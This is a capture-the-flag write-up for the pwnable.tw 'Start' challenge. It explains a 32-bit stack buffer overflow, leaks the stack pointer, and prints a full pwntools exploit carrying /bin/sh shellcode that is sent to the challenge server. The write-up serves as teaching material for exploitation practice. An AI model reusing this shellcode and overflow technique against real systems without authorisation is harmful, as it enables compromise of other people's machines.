Pwnable.tw - pwn/Start
1. Task:
2. Overview
Check file format:
I view asm code of this program by ida 32bit because I check that file, which has 32bit architecture.
We have 2 function: _start, _exit:
I will note down important something,which need to solve this challenge. But the original code is not like you see below. Oke let's start:
public _start
_start proc near
push esp
push offset _exit
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
push 3A465443h ; ':FTC'
push 20656874h ; ' eht'
push 20747261h ; ' tra'
push 74732073h ; 'ts s'
push 2774654Ch ; ''teL'
mov ecx, esp ; address
mov dl, 14h ; length
mov bl, 1 ; fd
mov al, 4
int 80h ; LINUX - sys_write
xor ebx, ebx
mov dl, 3Ch ; '<'
mov al, 3
int 80h ; LINUX - sys_read
add esp, 14h ; esp = esp + 20 byte
retn
_start endp ; sp-analysis failed
Checksec this file to find the direction to exploit.
3.Analysis
I can see that the arrangement of byte in this file is little endian, through 4 push in assembly code.
This text is: Let's start the CTF:
The stack look like below:
Stack |
---|
0x2774654C <--'esp' |
0x74732073 |
0x20747261 |
0x20656874 |
0x3A465443 |
offset_exit |
0x00 |
We have a function is sys_write(): I found it in this website
Value of those register sequence (eax, ebx, ecx, edx,...) is:
- eax = 0x04.
- ebx = unsigned int file descriptor ( stdin(0) , stdout(1) , stderr(2) ).
- ecx = on website I think it hard to understand what is it. I got it that it is a address.
- edx = the size of input or output.
Example:
- For sys_write:
mov ecx, esp ; address
mov dl, 14h ; length byte to write into monitor
mov bl, 1 ; fd = 1
mov al, 4
int 80h ; LINUX - sys_write
- Equivalent for sys_read:
xor ebx, ebx ; fd = 0
mov dl, 3Ch ; '<' ; length byte to read from input
mov al, 3 ;
int 80h ; LINUX - sys_read
So after all, I think script of this program is Prompt user input 20 bytes, after it will read 60 bytes. I will exploit it by buffer overflow(because CANARY disable) and I can use ret2shellcode.
Debugging
First time:
- Input is: a
- Input is: aaaaa
You can see the character 'a' is inserted into the original string.
I have payload 1: "A" * 20 + p32(sys_write_address)
Before payload1:
offset | value |
---|---|
0 | "CTF:" |
4 | "the " |
8 | "art " |
12 | "s st" |
16 | "Let'" |
20 | "return address" |
24 | offset28 |
After payload1:
offset | value |
---|---|
0 | "AAAA" |
4 | "AAAA" |
8 | "AAAA" |
12 | "AAAA" |
16 | "AAAA" |
20 | \x87\x80\x04\x08 |
24 | offset28 |
After ret instruction called. If you insert shellcode into stack, that thing is unreasonable because the program don't know where consist shellcode to return. This error is related to RELPO. So I insert sys_write address to return sys_write 1 more time.
I have payload2 for this situation.
payload2 = "A" * 20 + (esp + 20) + shellcode
Before payload2:
Example:
offset | value |
---|---|
0 | offset4 |
4 | |
8 | |
12 | |
16 | |
20 | |
24 |
After payload2:
The reason offset 20 consist offset 24:
offset | value |
---|---|
0 | "AAAA" |
4 | "AAAA" |
8 | "AAAA" |
12 | "AAAA" |
16 | "AAAA" |
20 | "offset_24" |
24 | shellcode |
28 | shellcode |
Exploit
from pwn import *
r = remote("chall.pwnable.tw", 10000)
context.arch = 'i386'
shellcode = b"\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
#send to return sys_write
r.recvuntil(b"CTF:")
sys_write = 0x08048087
payload = b'a' * 20 + p32(sys_write)
r.send(payload)
#To send shellcode
esp_addr = u32(r.recv()[:4]) # leak esp <= esp_addr consist shellcode to execute
payload = b'a' * 20 + p32(esp_addr+20) + shellcode
r.send(payload)
r.interactive()
Conclude
This task have 2 vuln, it is buffer overflow and ret2shellcode.
I have a lot of difficult to solve this challenge of pwnable.tw. Reading assembly code is so easy because It's so short but Working of memory and stack so hard
All rights reserved